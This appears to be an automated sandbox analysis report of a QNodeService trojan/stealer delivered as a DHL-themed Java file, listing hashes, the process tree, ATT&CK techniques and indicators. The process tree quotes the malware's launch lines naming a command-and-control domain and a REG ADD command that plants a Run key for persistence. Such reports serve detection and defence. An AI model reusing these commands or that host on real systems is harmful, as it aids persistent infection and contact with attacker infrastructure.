qnodeservice | dfa4ffb05bc1416ff28302312f1929d7d394755f59ae36a4fc0b8797650256e7

General

Target

DHL_OCT 2020 at 10.M_9B7290.jar
Size

276KB
MD5

553b81b7698957eb7221311b5fa9bb6b
SHA1

12df85af7e23edc08fcdc6ebc0d8c5cd543e45ce
SHA256

dfa4ffb05bc1416ff28302312f1929d7d394755f59ae36a4fc0b8797650256e7
SHA512

cb9fe94260a341d9903d246531bf252a18c7b078d69f8c6bd2affaf2272f108b6c3df6c9a0467540e464946471f11bacdeeda0e4ccba6ad47793f86cde5e2257

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1796	node.exe
2096	node.exe
3732	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\a495d770-3fdd-4dc1-a89c-1d61b0379351 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ada8-168.dat	js
behavioral2/files/0x000100000001ada8-172.dat	js
behavioral2/files/0x000100000001ada8-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	wtfismyip.com
15	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1796	node.exe
1796	node.exe
1796	node.exe
1796	node.exe
2096	node.exe
2096	node.exe
2096	node.exe
2096	node.exe
3732	node.exe
3732	node.exe
3732	node.exe
3732	node.exe
3732	node.exe
3732	node.exe
3732	node.exe
3732	node.exe
3732	node.exe
3732	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2460 wrote to memory of 2424	2460	java.exe	74
PID 2460 wrote to memory of 2424	2460	java.exe	74
PID 2424 wrote to memory of 1796	2424	javaw.exe	78
PID 2424 wrote to memory of 1796	2424	javaw.exe	78
PID 1796 wrote to memory of 2096	1796	node.exe	80
PID 1796 wrote to memory of 2096	1796	node.exe	80
PID 2096 wrote to memory of 3732	2096	node.exe	81
PID 2096 wrote to memory of 3732	2096	node.exe	81
PID 3732 wrote to memory of 1196	3732	node.exe	83
PID 3732 wrote to memory of 1196	3732	node.exe	83
PID 1196 wrote to memory of 1408	1196	cmd.exe	84
PID 1196 wrote to memory of 1408	1196	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL_OCT 2020 at 10.M_9B7290.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\31927fda.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1796
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_nTmMI2\boot.js --hub-domain ntums330.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2096
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_nTmMI2\boot.js --hub-domain ntums330.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3732
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a495d770-3fdd-4dc1-a89c-1d61b0379351" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1196
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a495d770-3fdd-4dc1-a89c-1d61b0379351" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1408

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1796-170-0x000003E10BF40000-0x000003E10BF41000-memory.dmp

Filesize
4KB

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memory/2096-173-0x0000023D4AE40000-0x0000023D4AE41000-memory.dmp

Filesize
4KB

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memory/3732-177-0x000002DA100C0000-0x000002DA100C1000-memory.dmp

Filesize
4KB

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